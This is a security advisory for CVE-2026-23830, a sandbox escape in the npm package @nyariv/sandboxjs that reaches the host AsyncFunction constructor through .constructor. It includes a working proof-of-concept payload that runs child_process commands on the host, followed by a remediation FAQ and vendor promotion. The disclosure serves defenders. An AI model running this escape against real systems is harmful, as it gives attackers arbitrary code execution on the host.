CVE-2026-23830

A sandbox escape vulnerability due to AsyncFunction not being isolated in SandboxFunction

Details

The library attempts to sandbox code execution by replacing the global Function constructor with a safe, sandboxed version (SandboxFunction). This is handled in utils.ts by mapping Function to sandboxFunction within a map used for lookups.

However, the library did not include mappings for AsyncFunction, GeneratorFunction, and AsyncGeneratorFunction. These constructors are not global properties but can be accessed via the .constructor property of an instance (e.g., (async () => {}).constructor).

In executor.ts, property access is handled. When code running inside the sandbox accesses .constructor on an async function (which the sandbox allows creating), the executor retrieves the property value. Since AsyncFunction was not in the safe-replacement map, the executor returns the actual native host AsyncFunction constructor.

Constructors for functions in JavaScript (like Function, AsyncFunction) create functions that execute in the global scope. By obtaining the host AsyncFunction constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution).

PoC

const sandbox = require('@nyariv/sandboxjs');
const s = new sandbox.default();

const payload = `
    const af = async () => {};
    // .constructor returns the host AsyncFunction constructor because it's not intercepted
    const AsyncConstructor = af.constructor;
    console.log("AsyncConstructor name:", AsyncConstructor.name);
    
    // Create a function that executes outside the sandbox
    const func = AsyncConstructor("return process.mainModule.require('child_process').execSync('id').toString()");
    
    // Execute RCE
    const p = func();
    p.then(proc => {
        console.log(proc);
    });
`;

try {
    s.compile(payload)().run();
} catch (e) {
    console.error("Bypass failed:", e.message);
}

Run above script in nodejs. If you run it in browser, change the AsyncConstructor argument by returning window object.

A Remote Code Execution, attacker may be able to run an arbitrary code.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-23830 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.26); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-23830? CVE-2026-23830 is a critical-severity code injection vulnerability in @nyariv/sandboxjs (npm), affecting versions < 0.8.26. It is fixed in 0.8.26. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-23830? CVE-2026-23830 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @nyariv/sandboxjs are affected by CVE-2026-23830? @nyariv/sandboxjs (npm) versions < 0.8.26 is affected.
4. Is there a fix for CVE-2026-23830? Yes. CVE-2026-23830 is fixed in 0.8.26. Upgrade to this version or later.
5. Is CVE-2026-23830 exploitable, and should I be worried? Whether CVE-2026-23830 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-23830 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-23830? Upgrade @nyariv/sandboxjs to 0.8.26 or later.